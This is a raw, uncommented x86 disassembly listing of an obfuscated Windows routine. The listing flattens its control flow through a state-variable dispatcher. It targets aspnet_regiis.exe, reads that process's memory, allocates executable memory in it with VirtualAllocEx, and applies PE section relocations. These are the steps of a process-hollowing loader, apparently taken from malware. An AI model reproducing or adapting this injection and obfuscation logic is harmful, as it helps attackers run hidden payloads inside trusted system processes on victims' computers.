mov eax, 0x1935e855
mov ecx, 0xacf627ca
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov eax, dword [0x10065938]
mov ecx, dword [0x10065934]
mov edx, eax
add edx, 0x1ce7b60d
sub edx, 1
sub edx, 0x1ce7b60d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1935e855
mov ecx, 0xb0f0c4eb
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x114], eax
jmp 0x100054da
mov dword [ebp - 0x114], 0xc8e8671
jmp 0x100054da
mov dword [ebp - 0x114], 0x29bc20a0
jmp 0x100054da
mov eax, dword [ebp - 0x104]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x10
call fcn.10006850
add esp, 0xc
mov eax, dword [ebp - 0x100]
xor ecx, ecx
sub esp, 0xc
mov dword [esp], eax
mov dword [esp + 4], 0
mov dword [esp + 8], 0x44
call fcn.10006850
add esp, 0xc
mov eax, dword [ebp - 0x108]
mov dword [ebp - 0x114], 0x54e6e782
jmp 0x100054da
mov eax, dword [ebp - 0xf8]
lea ecx, str.C:WindowsMicrosoft.NETFramework_v4.0.30319_aspnet_regiis.exe
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x4ed71942
jmp 0x100054da
xor eax, eax
sub esp, 0x10
mov dword [esp], 0
mov dword [esp + 4], 4
mov dword [esp + 8], 0x1000
mov dword [esp + 0xc], 4
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov ecx, eax
mov eax, dword [ebp - 0x10c]
mov dword [eax], ecx
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x10c]
mov eax, dword [ebp - 0x104]
mov dword [ebp - 0x114], 0xaa9c64d5
jmp 0x100054da
mov eax, dword [ebp - 0x94]
mov edx, dword [eax + 0x1c]
mov eax, dword [ebp - 0x104]
mov esi, dword [eax]
mov eax, dword [ebp - 0xe8]
lea ecx, [ebp - 0x14]
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], eax
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov eax, dword [eax + 0x50]
mov ecx, dword [ebp - 0x108]
mov ecx, dword [ecx]
mov ecx, dword [ecx + 0x34]
mov edx, dword [ebp - 0x104]
mov edx, dword [edx]
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 0x3000
mov dword [esp + 0x10], 0x40
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, eax
mov eax, dword [ebp - 0xf0]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov dword [ebp - 0x114], 0xc31504b
jmp 0x100054da
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xd4]
mov eax, dword [ebp - 0xf0]
mov eax, dword [ebp - 0xe4]
mov eax, dword [ebp - 0xd4]
mov dword [ebp - 0x114], 0xcfd0631
jmp 0x100054da
mov eax, dword [ebp - 0xd4]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x58]
imul ecx, ecx, 0x28
add eax, ecx
mov eax, dword [eax + 0x14]
mov ecx, dword [ebp - 0x5c]
add ecx, eax
mov eax, dword [ebp - 0xd8]
mov eax, dword [eax]
mov edx, dword [ebp - 0xe4]
mov edx, dword [edx]
mov esi, dword [ebp - 0xd4]
imul esi, dword [esi], 0x28
add edx, esi
mov edx, dword [edx + 0xc]
add eax, 0x1c35f077
sub eax, edx
sub eax, 0x1c35f077
add ecx, eax
mov eax, dword [ebp - 0xdc]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x5f78b647
jmp 0x100054da
mov eax, dword [ebp - 0xd4]
mov ecx, dword [ebp - 0x54]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0xda84d042
jmp 0x100054da
mov dword [ebp - 0x114], 0x489e028f
jmp 0x100054da
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x114], 0x6b4ca96d
jmp 0x100054da
mov eax, dword [ebp - 0xf0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xdc]
mov eax, dword [eax]
mov edx, dword [eax]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov edx, dword [ebp - 0xc4]
mov edx, dword [edx]
movzx eax, word [eax + edx*2]
xor eax, 0xffffffff
mov esi, 0xffffffff
xor esi, 0xfff
mov edx, 0xffffffff
xor edx, 0xaf07160
or eax, esi
or edx, 0xaf07160
xor eax, 0xffffffff
and eax, edx
add ecx, 0xad8b3074
add ecx, eax
sub ecx, 0xad8b3074
mov eax, dword [ebp - 0xc0]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0x697a6c54
jmp 0x100054da
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov eax, dword [ebp - 0x2c]
mov ecx, dword [ebp - 0x2c]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0xc4]
mov dword [eax], ecx
mov dword [ebp - 0x114], 0xc5df2ce6
jmp 0x100054da
mov eax, dword [ebp - 0xdc]
mov eax, dword [ebp - 0xdc]
mov dword [ebp - 0x114], 0xba95a7a6
jmp 0x100054da
jmp 0x10002380